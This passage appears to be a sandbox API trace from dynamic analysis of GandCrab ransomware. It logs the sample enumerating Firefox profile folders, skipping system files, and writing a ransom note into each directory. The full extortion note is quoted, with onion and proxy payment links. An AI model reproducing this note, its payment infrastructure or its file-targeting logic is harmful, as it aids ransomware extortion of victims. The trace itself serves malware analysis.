(lpString1="1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4", lpString2=".") returned 1 [0055.402] lstrcmpW (lpString1="1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4", lpString2="..") returned 1 [0055.402] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4" [0055.402] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4") returned 174 [0055.402] lstrcmpW (lpString1=".jsonlz4", lpString2=".sql") returned -1 [0055.402] FindNextFileW (in: hFindFile=0x5b84b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0055.402] lstrcmpW (lpString1="1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4", lpString2=".") returned 1 [0055.402] lstrcmpW (lpString1="1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4", lpString2="..") returned 1 [0055.402] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4" [0055.402] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4") returned 174 [0055.402] lstrcmpW (lpString1=".jsonlz4", lpString2=".sql") returned -1 [0055.402] FindNextFileW (in: hFindFile=0x5b84b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0055.402] lstrcmpW (lpString1="1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4", lpString2=".") returned 1 [0055.402] lstrcmpW (lpString1="1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4", lpString2="..") returned 1 [0055.402] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4" [0055.402] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4") returned 174 [0055.402] lstrcmpW (lpString1=".jsonlz4", lpString2=".sql") returned -1 [0055.402] FindNextFileW (in: hFindFile=0x5b84b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0 [0055.403] FindClose (in: hFindFile=0x5b84b0 | out: hFindFile=0x5b84b0) returned 1 [0055.403] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.403] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\\\GDCB-DECRYPT.txt") returned 128 [0055.403] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0055.405] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0055.405] WriteFile (in: hFile=0x50c, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e0cc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e0cc*=0xad6, lpOverlapped=0x0) returned 1 [0055.405] CloseHandle (hObject=0x50c) returned 1 [0055.406] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.406] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\") returned 111 [0055.406] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\*" [0055.406] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\*", lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0x5b84b0 [0055.406] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.406] FindNextFileW (in: hFindFile=0x5b84b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0055.406] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.406] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.406] FindNextFileW (in: hFindFile=0x5b84b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0055.406] lstrcmpW (lpString1="1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4", lpString2=".") returned 1 [0055.406] lstrcmpW (lpString1="1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4", lpString2="..") returned 1 [0055.406] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4" [0055.406] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.406] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4") returned 174 [0055.406] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4") returned 174 [0055.406] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.406] FindNextFileW (in: hFindFile=0x5b84b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0055.406] lstrcmpW (lpString1="1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4", lpString2=".") returned 1 [0055.406] lstrcmpW (lpString1="1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4", lpString2="..") returned 1 [0055.407] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4" [0055.407] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.407] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4") returned 174 [0055.407] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4") returned 174 [0055.407] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.407] FindNextFileW (in: hFindFile=0x5b84b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0055.407] lstrcmpW (lpString1="1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4", lpString2=".") returned 1 [0055.407] lstrcmpW (lpString1="1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4", lpString2="..") returned 1 [0055.407] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4" [0055.407] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.407] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4") returned 174 [0055.407] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4") returned 174 [0055.407] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.407] FindNextFileW (in: hFindFile=0x5b84b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0055.407] lstrcmpW (lpString1="1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4", lpString2=".") returned 1 [0055.407] lstrcmpW (lpString1="1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4", lpString2="..") returned 1 [0055.407] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4" [0055.407] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.407] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4") returned 174 [0055.408] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4") returned 174 [0055.408] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.408] FindNextFileW (in: hFindFile=0x5b84b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0055.408] lstrcmpW (lpString1="1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4", lpString2=".") returned 1 [0055.408] lstrcmpW (lpString1="1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4", lpString2="..") returned 1 [0055.408] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4" [0055.408] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.408] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4") returned 174 [0055.408] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4") returned 174 [0055.408] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.408] FindNextFileW (in: hFindFile=0x5b84b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0055.408] lstrcmpW (lpString1="1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4", lpString2=".") returned 1 [0055.408] lstrcmpW (lpString1="1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4", lpString2="..") returned 1 [0055.408] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4" [0055.408] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.408] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4") returned 174 [0055.408] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4") returned 174 [0055.408] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.408] FindNextFileW (in: hFindFile=0x5b84b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0055.409] lstrcmpW (lpString1="1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4", lpString2=".") returned 1 [0055.409] lstrcmpW (lpString1="1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4", lpString2="..") returned 1 [0055.409] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4" [0055.409] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.409] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4") returned 174 [0055.409] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4") returned 174 [0055.409] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.409] FindNextFileW (in: hFindFile=0x5b84b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0055.409] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0055.409] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0055.409] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\GDCB-DECRYPT.txt" [0055.409] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.409] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\GDCB-DECRYPT.txt") returned 127 [0055.409] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\GDCB-DECRYPT.txt") returned 127 [0055.409] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\GDCB-DECRYPT.txt") returned 127 [0055.409] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\GDCB-DECRYPT.txt") returned 127 [0055.409] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0055.409] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0055.409] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0055.409] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0055.409] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0055.409] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0055.409] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0055.409] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0055.409] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0055.409] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.410] FindNextFileW (in: hFindFile=0x5b84b0, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0 [0055.410] FindClose (in: hFindFile=0x5b84b0 | out: hFindFile=0x5b84b0) returned 1 [0055.410] FindNextFileW (in: hFindFile=0x5b83f0, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0055.410] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0055.410] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0055.410] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\GDCB-DECRYPT.txt" [0055.410] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.410] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\GDCB-DECRYPT.txt") returned 119 [0055.410] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\GDCB-DECRYPT.txt") returned 119 [0055.410] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\GDCB-DECRYPT.txt") returned 119 [0055.410] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\GDCB-DECRYPT.txt") returned 119 [0055.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0055.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0055.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0055.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0055.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0055.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0055.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0055.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0055.410] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0055.410] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.410] FindNextFileW (in: hFindFile=0x5b83f0, lpFindFileData=0x285e370 